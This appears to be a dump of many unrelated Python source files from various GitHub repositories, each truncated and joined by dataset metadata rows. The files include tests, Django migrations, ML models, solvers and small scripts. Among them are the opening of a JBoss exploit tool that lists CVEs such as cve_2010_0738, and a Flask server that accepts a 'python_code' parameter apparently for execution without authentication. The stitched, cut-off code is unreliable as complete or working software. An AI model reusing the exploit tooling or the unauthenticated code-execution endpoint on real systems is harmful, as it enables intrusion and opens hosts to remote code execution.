adj2 = ("glutton")
activity1 = ("surgeries")
activity2 = ("washer")
activity3 = ("healing")
noun1 = ("farmer")
noun2 = ("chair")
noun4 = ("cars")
place1 = ("Alaska")
place2 = ("São Paulo")
print(name, " ... | [
"noreply@github.com"
] | noreply@github.com |
07f54fa8d55b5c899267c947394d094fc5b649a3 | ac5af893590d3f59663d040f50818989f5373c86 | /tests/test_experiment_base_class.py | 60fdaf57e09405899876fc987ff10247423027f0 | [
"MIT"
] | permissive | mark-koren/flow | a22891dfd8a3299e5ecdb8adb33aefb5a93fdba9 | f3f6d7e9c64f6b641a464a716c7f38ca00388805 | refs/heads/master | 2020-03-19T00:52:09.005880 | 2018-05-30T23:29:21 | 2018-05-30T23:29:21 | 135,506,693 | 0 | 0 | MIT | 2018-05-30T23:14:18 | 2018-05-30T23:14:17 | null | UTF-8 | Python | false | false | 2,080 | py | import unittest
import logging
from flow.core.experiment import SumoExperiment
from flow.core.params import SumoParams, EnvParams, InitialConfig, NetParams
from flow.core.vehicles import Vehicles
from flow.controllers.routing_controllers import ContinuousRouter
from flow.controllers.car_following_models import *
from... | [
"noreply@github.com"
] | noreply@github.com |
8db382600a6c2222a8a6ea6b955040db65f761e6 | 8677cb237360646e893e6aa1949d0e3a2d5acee5 | /server/dvaapp/operations/retrieval.py | a062d97b87d08a68d9bc403f83bb0d449b63ab9a | [
"BSD-3-Clause",
"Apache-2.0",
"MIT"
] | permissive | hitlk/DeepVideoAnalytics | b92f39c1552aa239d1eb98b051a3ca86b96059b9 | c6893b3eb5855430c1267a6d6f0a6a168b89fe94 | refs/heads/master | 2020-03-22T17:39:00.160352 | 2018-07-10T08:30:02 | 2018-07-10T08:30:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,158 | py | import logging
from .approximation import Approximators
from .indexing import Indexers
from collections import defaultdict
try:
from dvalib import indexer, retriever
import numpy as np
except ImportError:
np = None
logging.warning("Could not import indexer / clustering assuming running in front-end mod... | [
"akshayubhat@gmail.com"
] | akshayubhat@gmail.com |
2913688c07ba663536d12729e1d5735c2330e5eb | 2fd39a6995f86189ac39bc93081afba587247c2c | /products/migrations/0001_initial.py | 424d5755a51054af73aa688ed9134b5a7ebf538b | [
"Apache-2.0"
] | permissive | Garendat/django_example_shop | 370352d75ae92e74d4e866a9fe5dac9833c22175 | a9af913ea3870e6b625a02938e82bda4d4539633 | refs/heads/master | 2020-03-19T20:29:37.317019 | 2018-06-11T17:55:18 | 2018-06-11T17:55:18 | 136,904,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,016 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2018-05-30 22:36
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Produc... | [
"broker_ishim@mail.ru"
] | broker_ishim@mail.ru |
857abb3fb8b1d73b1ac3d00c9cf609163be80efb | 35c4aa0e912c9b6e8543f032edd52bb78fa752ef | /ParteReal/server_LEGOEv3.py | 0d461d71b27ec67d03c8a009107fddded711922d | [] | no_license | RoboticsLabURJC/2020-tfg-daniel-pulido | 81c3c6b514a5d61bc3392feafdf66406a1ef7956 | a6da755227e547fff63452fda214544c438ff812 | refs/heads/master | 2021-07-25T16:34:36.891382 | 2020-12-25T19:05:31 | 2020-12-25T19:05:31 | 233,579,467 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,139 | py | import subprocess
import os
import signal
import time
from flask import Flask, make_response, request
app = Flask(__name__)
exercice = None
@app.route('/run',methods=["GET"])
def run_program():
global exercice
code = request.args.get('python_code')
print(code)
# Stop process have already up
if ex... | [
"dpulidomillanes@gmail.com"
] | dpulidomillanes@gmail.com |
ee2844486c8fd3c2eeb7fe051384ec757b33fffd | 36553cda80a53dae03d9172c139901b461c8820c | /diff_content_extraction/base.py | 516d322783fa88a8f467dda695e128ab0d908bcc | [] | no_license | JointEntropy/diff_content_extraction | 5a68dba16c1b0fe74a1de9843663e6c19db21fcc | 3b8b9828e1e95d02c4a8db1e5d3408635d3c59d4 | refs/heads/master | 2023-07-07T15:45:40.469605 | 2021-08-08T16:37:27 | 2021-08-08T16:37:27 | 393,965,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,447 | py | from functools import lru_cache
from tqdm import tqdm
from itertools import chain, product, combinations
from collections import Counter, defaultdict
import pandas as pd
from lxml import html, etree
import os
from diff_content_extraction.attribute_extraction import extract_attribs
from diff_content_extraction.xpath_uti... | [
"grigoriy.ovchinnikov@rt.ru"
] | grigoriy.ovchinnikov@rt.ru |
1a636a55e34e6cc9d3fd4c0e903a12ec085870a7 | 6cb25961b9aecf0470c6653fc2f01e11a3196b00 | /Tugas Aplikasi 5 Latihan A.py | 33b5e9af415f9b2c83ccabeb168636596090d9bd | [] | no_license | Zaenil/Tugas-Aplikasi-2-RS-20083000189-Zaenil-Muttakin | d6bf233b7e804a2c2005d742f2062650f0984dc7 | bc7d5ea2cb7090a05bba16ac9fa2c5432a9b35d5 | refs/heads/main | 2023-05-19T10:09:00.542695 | 2021-06-11T18:49:25 | 2021-06-11T18:49:25 | 376,114,596 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 364 | py | # -*- coding: utf-8 -*-
"""
Created on Fri Jun 11 16:30:40 2021
@author: Nik
"""
#Tugas aplikasi 5 Latihan A
print("#####################################")
print (" Status Kelulusan Mahasiswa")
print("#####################################")
N=input("Masukan Nilai Kelulusan = ")
if int(N)>60 :
print... | [
"noreply@github.com"
] | noreply@github.com |
9d512ec6a49ff05ecdb9e912ad33a4fc7f4de9c7 | cd247a27b167d510193852a781af15b9ad007b5d | /integration_tests/test_runway_module_type_detection/tests/test_suffix_type_k8s.py | 9c8c6b15d1dd84c5a452c93efac5bdf57add49d4 | [
"Apache-2.0"
] | permissive | edgarpoce/runway | 0759f70429f384b60a85008a5954ae18e593e9aa | 94aebff4f83b294653192a1b74111f6a9f114de2 | refs/heads/master | 2021-07-09T07:45:04.476229 | 2020-04-04T04:08:07 | 2020-04-04T04:08:07 | 226,101,470 | 1 | 0 | Apache-2.0 | 2019-12-05T12:50:53 | 2019-12-05T12:50:53 | null | UTF-8 | Python | false | false | 1,048 | py | """Test to verify behavior of directory suffix based type"""
import subprocess
from runway.util import change_dir
from integration_tests.test_runway_module_type_detection.test_runway_module_type_detection import (
RunwayModuleTypeDetection
)
class TestSuffixTypeK8S(RunwayModuleTypeDetection):
"""Test to ver... | [
"noreply@github.com"
] | noreply@github.com |
6736d192fe32d725c5d30bc50171e22e11797883 | 8472354323e12efce848fdee3d117f0c8d5e4dcc | /largesolver4.py | edbcbf08a05f6ed0927dc58bd8b5254aca7f1039 | [] | no_license | julianjic/170processing | 305f976522379ad6b402c157a980c73db18b1e88 | 86b15f7ae91bcd2bd3071e4d20c887301864b0b4 | refs/heads/master | 2020-04-09T04:14:40.116445 | 2018-12-02T18:58:09 | 2018-12-02T18:58:09 | 160,015,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,429 | py | import networkx as nx
import os
###########################################
# Change this variable to the path to
# the folder containing all three input
# size category folders
###########################################
path_to_inputs = "./all_inputs"
###########################################
# Change this variab... | [
"liujon23@gmail.com"
] | liujon23@gmail.com |
01290f806f555249284f5a1a8498ff5bc424695a | 66004eee30e5c750cd551c65149685e90809d920 | /src/two_layer_net.py | a66086ce40f96baf7add9750426c5cb25eea19c6 | [] | no_license | takya810/Hitoto | 434dcc5aa93a14af89d14ba3808e345d13823d06 | fcc794f90ee83d5fec0fc3e087e9c0d550477ac7 | refs/heads/master | 2021-01-22T08:47:47.570465 | 2017-06-14T14:17:36 | 2017-06-14T14:17:36 | 92,634,044 | 0 | 0 | null | 2017-06-14T14:17:37 | 2017-05-28T01:49:20 | null | UTF-8 | Python | false | false | 2,547 | py | # coding: utf-8
import sys, os
sys.path.append(os.pardir) # 親ディレクトリのファイルをインポートするための設定
import numpy as np
from common.layers import *
from common.gradient import numerical_gradient
from collections import OrderedDict
class TwoLayerNet:
def __init__(self, input_size, hidden_size, output_size, weight_init_std = 0.0... | [
"tomas.temp.7@gmail.com"
] | tomas.temp.7@gmail.com |
26d153174133a79de9a7b6c4495f8cf437a24bfc | 2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8 | /pardus/tags/2008-EOL/applications/multimedia/mpg123/actions.py | ccae8d836dcedb07abd6404326ce95dae81cccb8 | [] | no_license | aligulle1/kuller | bda0d59ce8400aa3c7ba9c7e19589f27313492f7 | 7f98de19be27d7a517fe19a37c814748f7e18ba6 | refs/heads/master | 2021-01-20T02:22:09.451356 | 2013-07-23T17:57:58 | 2013-07-23T17:57:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 634 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2005-2008 TUBITAK/UEKAE
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
from pisi.actionsapi import autotools
from pisi.actionsapi import pisitools
def setup():
pisitools.dosed("... | [
"yusuf.aydemir@istanbul.com"
] | yusuf.aydemir@istanbul.com |
749a22b88ff6059b07d70cf09630e298bc448a80 | c0c2cd59aedc9a9807d489b90874b5b454827061 | /leetcode/binarysearch/729.py | e2f2a1386b6229d0491efcd59a4abac0b5e92216 | [] | no_license | flyfatty/PythonTutorial | ce2ee3caf5e3f2428329f63713b1e6a655dba183 | d12021f8a078d62510bb40083ed1ea81af718df9 | refs/heads/master | 2023-05-08T14:48:50.998595 | 2021-05-07T15:43:13 | 2021-05-07T15:43:13 | 309,847,416 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,740 | py | # @Time : 2020/9/26 22:16
# @Author : LiuBin
# @File : 729.py
# @Description :
# @Software: PyCharm
"""我的日程安排表 I
关键字: 二分查找
目标:每次申请一个区间,如果区间出现重叠返回False,否则开辟区间并返回True
思路:
1、二分查找,维护每个区间start的有序列表
2、使用字典维护start:end。如果能进入start列表,一定满足 i+1的start>=i的end(左闭右开)
3、找出所有重叠的情况,剩下的就可以加入start列表,并且更新字典
"""
class MyCalen... | [
"28278672@qq.com"
] | 28278672@qq.com |
7ecc0aa792f338d0d49f24a3f18c7b94177b9e5a | 76fefdb20c453e830b8db86f32a1b42d79108cdd | /chat/settings.py | b541d5cf7bea3e72bc2a2d4b3ef21353ce88bcf6 | [] | no_license | Belie06Loryn/chaty-final-master | 35f6762e9bf45e1086db6280cd0bd7dc0828fb96 | 86e839c069eb54dad3390e84c6b7534d165a3942 | refs/heads/master | 2022-12-09T14:31:19.478090 | 2019-12-08T16:00:45 | 2019-12-08T16:00:45 | 226,365,156 | 0 | 0 | null | 2022-12-08T06:59:44 | 2019-12-06T16:08:51 | Python | UTF-8 | Python | false | false | 4,112 | py | """
Django settings for chat project.
Generated by 'django-admin startproject' using Django 2.2.6.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
from ... | [
"maniralexie@gmail.com"
] | maniralexie@gmail.com |
8a2a3a42acd557a574c3d3d292a46fbdbd4e4e45 | 1d0f579b0c43df9352dd2d9eea2897fa5d5d186f | /task/project/server/models.py | 6b2c4b312af9367dbe065001bcad36594c8bf575 | [] | no_license | mohiuddin89/all-service | 3c82d39c5860d3455a758d22f131079b51206752 | 0dcf7d6c8be8202bf86935245e8868285c2e105e | refs/heads/master | 2023-07-16T05:28:34.146458 | 2021-08-22T23:57:45 | 2021-08-22T23:57:45 | 398,889,765 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 15,336 | py | from datetime import datetime
from datetime import timedelta
from project.server import app, db, bcrypt
import jwt
class User(db.Model):
__tablename__ = "users"
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
registered_on = db.Column(db.DateTime, nullable=True)
first_name = db.Colum... | [
"mohiuddin4799@gmail.com"
] | mohiuddin4799@gmail.com |
09a091a0e2ab51c169b7e4d08aeda7a3f8f30405 | c608cdf1ca2e3eccc0f7cf78e9de9c4ddfb9b3da | /name/home/models.py | 752998b39d4cfece09d8a33d1b5fe608d4c660f7 | [] | no_license | Mrunmayi28/python_miniproject | 28b6f5a52a2cc33318f802e083a994cb7dc3324d | 1cd86a4bce9652f64df5f93acd70fb9392f9f47f | refs/heads/main | 2023-04-28T09:07:53.219463 | 2021-05-22T03:47:20 | 2021-05-22T03:47:20 | 362,070,542 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,086 | py | from django.db import models
import datetime
# Create your models here.
class certi(models.Model):
internship = models.FileField(null = True)
course = models.FileField(null = True)
class Meta:
db_table = "Certis"
class formed(models.Model):
Name = models.CharField(max_length=30)
Contact=mo... | [
"mrpatankar28@gmail.com"
] | mrpatankar28@gmail.com |
28f5b28f72d29de1b5062844e7ad55ba0db84303 | 980413945d70cda1292c10af44a4bf89fa259d0b | /wikpy/tests/functional/test_edit.py | 0c53576b989a6ef14961867595bb581b916b9eb9 | [] | no_license | seken/wikpy | bef3478c9332c95e83ed19d94b3f38c96734e4e7 | c6a562b9219e0a6840b61692530accea7b453f84 | refs/heads/master | 2016-09-08T01:47:13.593281 | 2010-07-30T15:15:56 | 2010-07-30T15:15:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 195 | py | from wikpy.tests import *
class TestEditController(TestController):
def test_index(self):
response = self.app.get(url(controller='edit', action='index'))
# Test response...
| [
"markit@seken.co.uk"
] | markit@seken.co.uk |
208c84e4aba70c4b36e817babaee830f1ec6815a | 5bb85daa020b49dd0fd68944b201832c9555e467 | /examplescripts/timed.py | d4c8048cbdb91e3396d0f5f91c8c7d1d7222fa77 | [] | no_license | krljg/lsystem | 48a9280455cc9f9e771716628fdc616c9565ae44 | 1851bc2abcc2f067321670725b21a4a492cc4323 | refs/heads/master | 2022-10-06T02:19:03.644769 | 2022-09-04T08:04:20 | 2022-09-04T08:04:20 | 71,384,970 | 55 | 12 | null | 2022-09-04T08:04:21 | 2016-10-19T17:58:40 | Python | UTF-8 | Python | false | false | 259 | py | # Make an l-system with a "time" parameter and a "detail" parameter
# For each "time" step the lsystem has to do a predetermined number of "detail" iterations
import lsystem.exec
import mathutils
ex = lsystem.exec.Exec()
# todo
ex.exec(min_iterations=11)
| [
"krister.ljung@speedmail.se"
] | krister.ljung@speedmail.se |
65dbcdd84743cd1e9d6acd3f168c589746ff3cfc | bc94fe84534a906e20f3aa3910eda2b010cab2ff | /app/app.py | ce927b7acbc1e53bee151f78c99f5aa0603ca277 | [] | no_license | Krafty-Coder/MyDiary | b94cf4a5e304033b36aae4a878c44301279613cb | b53fd97b30f2a16d1faa0f23b3a06c36b3c3278d | refs/heads/master | 2020-04-01T20:44:39.980858 | 2018-07-26T09:37:35 | 2018-07-26T09:37:35 | 153,618,550 | 0 | 1 | null | 2018-10-18T12:15:38 | 2018-10-18T12:15:37 | null | UTF-8 | Python | false | false | 5,060 | py | """Import flask modules"""
from flask import Flask, jsonify, request
from flask_jwt_extended import (
JWTManager, jwt_required, create_access_token
)
from app.models import *
app = Flask(__name__)
app .config['JWT_SECRET_KEY'] = '5c750c0e72ce5394dfe7720fa26d0327d616ff9ff869be19'
jwt = JWTManager(app)
@app.route(... | [
"softteez95@gmail.com"
] | softteez95@gmail.com |
ba0de45e913c7aa7cd9d1b16355b5d5c78a42f58 | 1ce1e49412b34a235da0b6d9da0aed0e3f5cdbc1 | /blog/migrations/0001_initial.py | d4c3bc92bdce3564537f51c1056c176d20d77371 | [] | no_license | cu187008059/herokudjango | 5329f0e95823775932e70e0b5e4e795cb7fadac1 | fabd02dbd220ce677f2b476c2a96126ac29e1d0b | refs/heads/master | 2020-05-29T16:14:43.500253 | 2019-05-29T14:56:29 | 2019-05-29T14:56:29 | 189,243,257 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,597 | py | # Generated by Django 2.2.1 on 2019-05-21 16:32
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
... | [
"cu300cem@gmail.com"
] | cu300cem@gmail.com |
707f2cddec7735eba3aa0bf8f99aacaa07dafec8 | d4ca3ed94bdd464fc07147c5bed169a10b7ba0e2 | /webke/models.py | 02e1d8ee082b3cf85a655cae078144bd0cd55583 | [] | no_license | microw/webke | b47dc838fda5df532e4f11c47ac530cc4cebdf7a | 4ceaca1198e4da2951614cb7cb38dc576b923eb6 | refs/heads/master | 2023-09-04T01:37:58.781735 | 2021-11-01T15:44:55 | 2021-11-01T15:44:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 85,765 | py | #! -*- coding: utf-8 -*-
# 主要模型
import numpy as np
#from bert4keras.layers import *
from layers import *
from bert4keras.snippets import insert_arguments
from bert4keras.snippets import delete_arguments
from bert4keras.snippets import is_string, is_one_of
from keras.models import Model
import json
class Transformer(... | [
"redreamality@gmail.com"
] | redreamality@gmail.com |
cfdeb79292f967bfebee770e954dab908b791940 | 48db7bebad4309a7bca8b7dec2cc9193551f46a3 | /tests/test_pointfree/test_rescue.py | 3d49b3090ae848d51b47324261c89d0e5254c292 | [
"BSD-2-Clause"
] | permissive | kenjihiraoka/returns | bff6196a059d411b6c36f4a2e284e4439d24fd73 | 4589973520d7226b18acd7295d1a9a10ff032759 | refs/heads/master | 2022-11-20T13:20:41.094871 | 2020-07-07T08:23:05 | 2020-07-07T08:23:05 | 277,863,697 | 0 | 0 | BSD-2-Clause | 2020-07-07T16:09:25 | 2020-07-07T16:09:25 | null | UTF-8 | Python | false | false | 2,504 | py | from returns.context import RequiresContextIOResult, RequiresContextResult
from returns.io import IOFailure, IOResult, IOSuccess
from returns.pointfree import rescue
from returns.result import Failure, Result, Success
def _result_function(argument: int) -> Result[int, str]:
if argument > 0:
return Success... | [
"mail@sobolevn.me"
] | mail@sobolevn.me |
9dec2bb4bd6c683b6ff8000f2bf62e0e6ec8d149 | f3dfd8d7ccd54fe4e94ba59437f76256ef9ef5c6 | /안채현/0805Thu_문자열/PR_숫자문자열과영단어_chae_dictionary1.py | 06bed93579c9330b2497826ffd2f9f21e6f276ac | [] | no_license | honglim99/studygroup | 366ceb0e4228e8417c8f094aba589067d6dbd3f0 | 20a67b13101a48f9d6b84668ba35518e2a2df5f6 | refs/heads/master | 2023-06-30T23:56:52.813849 | 2021-08-08T02:28:05 | 2021-08-08T02:28:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 827 | py | """num_dict = {'zero':0, 'one':1, 'two':2, 'three':3, 'four':4, 'five':5, 'six':6, 'seven':7, 'eight':8, 'nine':9}
def solution(s):
answer = s
for key, value in num_dict.items():
answer = answer.replace(key, value) #TypeError: replace() argument 2 must be str, not
int
return int(answer)
"""
... | [
"chaehyeon.an1022@gmail.com"
] | chaehyeon.an1022@gmail.com |
16c933dacc6329ecefdc1061f3773c0e6384b462 | 7d2f933ed3c54e128ecaec3a771817c4260a8458 | /venv/Lib/site-packages/pip/_vendor/requests/compat.py | f567d706cd0d1dc57b89d2eeb78b0a4b4b0bc943 | [] | no_license | danielmoreira12/BAProject | c61dfb1d0521eb5a28eef9531a00e744bfb0e26a | 859f588305d826a35cc8f7d64c432f54a0a2e031 | refs/heads/master | 2021-01-02T07:17:39.267278 | 2020-02-25T22:27:43 | 2020-02-25T22:27:43 | 239,541,177 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,940 | py | # -*- coding: utf-8 -*-
"""
requests.compat
~~~~~~~~~~~~~~~
This module handles import compatibility issues between Python 2 and
Python 3.
"""
import sys
from pip._vendor import chardet
# -------
# Pythons
# -------
# Syntax sugar.
_ver = sys.version_info
#: Python 2.x?
is_py2 = (_ver[0] == 2)
#: Python 3.x?
is_... | [
"danielmoreira12@github.com"
] | danielmoreira12@github.com |
1d42cbd09fcf99997ea91a42c32d8fd54beb97a5 | c874cc40a903295b33893d2750b6caf373386e6f | /grid_equiv_classes.py | 9453a6843898226e986dcf18cf09ab64d3a78da6 | [] | no_license | runbobby/Item-Matching-Game | 6cbf99923b05987dc2aa50dd0ea2560c9e62625e | 21606a9058190c17ad21d9b4b4e04943ae8e84a8 | refs/heads/master | 2021-01-19T11:40:08.544928 | 2017-04-12T00:27:51 | 2017-04-12T00:27:51 | 87,986,398 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,555 | py | import numpy as np
%cd
%cd Documents\item_matching\data
import json
# warning!!!!!!!!!!!!!!!!!
# this code uses integer division twice
# may need to rewrite code depending on environment
# parameters
# u = # unsolved slots, o = # orange items; o <= u
# y = # yellow
# also y + u <= max_s, in this case, 5
# possible gr... | [
"noreply@github.com"
] | noreply@github.com |
a0f2a687b6f6f2ad88f7d90e2dd1424c4a8010f5 | 6df7c81b013305b11aa3f678b4ccb64506a31e59 | /attacker/attacks/spsa.py | 008bb4e864fbd3e3d4bbb445aeb4637418c4791b | [] | no_license | KaihuaTang/CiiV-Adversarial-Robustness.pytorch | a79ae9ec20fe66ccfd6557f1ed0f073a4d6b4076 | 4a18df048240e841ca77c1701fecbf5a4ee49fb3 | refs/heads/main | 2023-07-30T23:18:37.994775 | 2021-10-06T05:54:33 | 2021-10-06T05:54:33 | 377,840,412 | 13 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,331 | py | ##############################################################################
# Modified from https://github.com/BorealisAI/advertorch/
##############################################################################
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from ... | [
"tkhchipaomian@gmail.com"
] | tkhchipaomian@gmail.com |
a9721dd19e6e401f81976ca0aab05f6e3589dc70 | a2b20597759990445081057d35d113434cfcf970 | /client/commands/report_any_expressions.py | 5d59244a817f4ddf25911ab884d7403f398a83ef | [
"MIT"
] | permissive | facebook/pyre-check | 34059599c02b65605c574f13555229f3b931fd4e | fe8ccedc572cc1faa1fd01e9138f65e982875002 | refs/heads/main | 2023-09-03T19:10:11.587028 | 2023-09-02T07:40:35 | 2023-09-02T07:40:35 | 110,274,488 | 6,703 | 575 | MIT | 2023-09-13T17:02:32 | 2017-11-10T17:31:36 | OCaml | UTF-8 | Python | false | false | 6,206 | py | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
"""
This module provides the entrypoint for `pyre report-any-expressions`, a command
to collect data about how often the Pyre type check for... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
2097ee39581794e41f8318e3dc39f25ae2c0e9b5 | 2d6481f60585fed286aeddf704b9052a33c63fb3 | /Graph Implementations and Traversals/ShortestPath.py | 86d3f2cb943bef8ebbd7e2699bbd1bb1ea33b50f | [] | no_license | BALAJISB97/DS | f8cc229f05a7c9d763f2aa888a955da6c7b3936e | e38b2957893016077bf80a3b89d0ce6b3b094fe8 | refs/heads/master | 2022-12-31T09:13:05.540389 | 2020-10-16T07:13:04 | 2020-10-16T07:13:04 | 292,648,258 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,091 | py | import sys
# Function to find out which of the unvisited node
# needs to be visited next
def to_be_visited():
global visited_and_distance
v = -10
# Choosing the vertex with the minimum distance
for index in range(number_of_vertices):
if visited_and_distance[index][0] == 0 \
and (v < 0 or visited_and... | [
"balajisb147@gmail.com"
] | balajisb147@gmail.com |
57cb4fe33919d21f7c278b6720c3360ce5e07c75 | 034be882d639a0b2031dca96bbba4b7cec5195f1 | /maskrcnn_benchmark/data/datasets/sidewalk.py | 84d5b36dd0a54e6488d716ce9aafbf6b55c4db0c | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | droseger/maskrcnn-benchmark | 3be529cd75ed571441866408839c0e7b38b653cd | 443568587671e07fa0b55b7e6d17e8e23561c75f | refs/heads/master | 2020-05-04T17:43:02.866844 | 2019-10-07T15:25:08 | 2019-10-07T15:35:50 | 179,323,384 | 0 | 0 | null | 2019-04-03T15:56:36 | 2019-04-03T15:56:36 | null | UTF-8 | Python | false | false | 1,717 | py | import torch
from torchvision.datasets import CocoDetection
from maskrcnn_benchmark.structures.bounding_box import BoxList
from maskrcnn_benchmark.structures.segmentation_mask import SegmentationMask
class Sidewalk(CocoDetection):
def __init__(self, ann_file, root, transforms=None):
super(Sidewalk, self)... | [
"droseger@protonmail.com"
] | droseger@protonmail.com |
4eb72862e3cb96142bcd9b864909095541319d17 | 456fe56ad14e576228654d587ee63dfe1903c87d | /EXP/RedHatJBoss.py | a1807d97591b19f6810fa90713245d985834657a | [] | no_license | kk98kk0/CodeTest | 4270612e2501fc22d35bb0764736b2c8ac2fd87b | e870925ac1405a858efd658b20b071e6b8e388d4 | refs/heads/master | 2023-02-25T12:51:03.784923 | 2021-01-25T07:54:11 | 2021-01-25T07:54:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 27,055 | py | import random,string,requests,http.client,time
from requests_toolbelt.utils import dump
import urllib.parse
from ClassCongregation import _urlparse
from urllib.parse import urlencode
from urllib.parse import urlparse, quote
from lxml import html
import CodeTest
################
##--RedHatJBoss--##
#cve_2010_0738
#cve_2... | [
"1055374179@qq.com"
] | 1055374179@qq.com |
b6470cf42404b1ad3249e48f109c35b861ee9b2f | ce68c14ee067a68ef50f2f7e7a3a8e6876b29c3e | /main.py | 199af54fb6c6c516838deea51a7fd0e147c7480c | [] | no_license | lowkey159357/vehicle_prj_vgg16 | 7bc186fa43ed2c4913698490f1460acbaa362c27 | 4f727f54f017d84dce2bedbf31b6a4f17b5c5c20 | refs/heads/master | 2020-03-25T20:18:50.005596 | 2018-08-14T06:27:36 | 2018-08-14T06:27:36 | 144,125,718 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,498 | py | #!/usr/bin/env python3
#coding: utf-8
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import os
def parse_args(check=True):
parser = argparse.ArgumentParser()
# train
parser.add_argument('--dataset_dir', type=str,... | [
"noreply@github.com"
] | noreply@github.com |
f63fe9e05ffcac73aadcdc96a5641051d9366134 | 54fd000e2e2ab7325358b64306b124e01d677472 | /utils.py | 05ecc36cf44a2d346b7d886660e1622de45efc2d | [
"MIT"
] | permissive | Zendelo/ProxyVotingSim | 0ee88057dc185cd28e4da63446947a0bb9b26754 | dae389030a1f0ec21d7842f68da49e31aad0bbc5 | refs/heads/master | 2021-08-08T21:34:07.617318 | 2017-11-09T18:26:44 | 2017-11-09T18:26:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,484 | py | from itertools import combinations
from random import randint, uniform
# Kendell's Tao distance between vector v and u
def kendall_tau(v, u):
pairs = combinations(v, 2)
dist = 0
for x, y in pairs:
a = v.index(x) - v.index(y)
b = u.index(x) - u.index(y)
# if discordant (different si... | [
"olegzendel@campus.technion.ac.il"
] | olegzendel@campus.technion.ac.il |
5620c7f96f4cb52ee75460418ccef2a3ab693171 | fb813a01c5cb15f9b2d703366d3ee8f68d935cbb | /Oblig3/ner_eval.py | cc6d4ac95ec06a30cad44b4759a2709cb177db8b | [
"MIT"
] | permissive | fabiorodp/IN5550_Neural_Methods_in_Natural_Language_Processing | 2c803446fff7868644b9d1351eba40775cdfaaa5 | 4d3b2ed56b56e016413ae1544e19ad2a2c0ef047 | refs/heads/main | 2023-07-27T20:50:36.595335 | 2021-09-06T14:30:55 | 2021-09-06T14:30:55 | 329,799,108 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,040 | py | import logging
from collections import namedtuple
from copy import deepcopy
# From https://github.com/davidsbatista/NER-Evaluation
logging.basicConfig(
format="%(asctime)s %(name)s %(levelname)s: %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
level="DEBUG",
)
Entity = namedtuple("Entity", "e_type start_offse... | [
"fabiorodp@gmail.com"
] | fabiorodp@gmail.com |
f4129e0267f16805949a94670dee66a10c5ba43e | 9efca95a55cb4df52d895d42f1ec10331516a734 | /tools/c7n_gcp/c7n_gcp/filters/recommender.py | e2d2fd72b777c8c8fb89b9452f088c9e393b557f | [
"Apache-2.0"
] | permissive | cloud-custodian/cloud-custodian | 519e602abe00c642786441b64cc40857ef5bc9de | 27563cf4571040f923124e1acb2463f11e372225 | refs/heads/main | 2023-09-04T10:54:55.963703 | 2023-09-01T17:40:17 | 2023-09-01T17:40:17 | 52,837,350 | 3,327 | 1,096 | Apache-2.0 | 2023-09-14T14:03:30 | 2016-03-01T01:11:20 | Python | UTF-8 | Python | false | false | 4,693 | py | # Copyright The Cloud Custodian Authors.
# SPDX-License-Identifier: Apache-2.0
"""
GCP Recommender filters
"""
import json
from pathlib import Path
import jmespath
from c7n.exceptions import PolicyValidationError
from c7n.filters.core import Filter
from c7n.utils import local_session, type_schema
from c7n_gcp.provid... | [
"noreply@github.com"
] | noreply@github.com |
2a7f8fd9506a71f0cabc75f143c62442adf259cd | af165d72ac206153c9b16499e88f9c9f30a69c9a | /studies/mixture_feasibility/optimization_analysis/expanded_set/extract_gradients.py | aab1a01f2538916681860cedb0b3f7f1977e620a | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | openforcefield/nistdataselection | bc4b443ec3377e9f7f953bcf6535118423ff96ea | d797d597f4ff528a7219d58daa8ef6508d438b24 | refs/heads/master | 2020-06-12T01:05:22.757026 | 2020-05-18T22:44:10 | 2020-05-18T22:44:10 | 194,144,523 | 3 | 0 | MIT | 2020-05-19T02:10:56 | 2019-06-27T18:28:23 | Python | UTF-8 | Python | false | false | 1,643 | py | import os
from glob import glob
from evaluator.properties import Density, EnthalpyOfMixing, EnthalpyOfVaporization
from nistdataselection.analysis.processing import extract_gradients
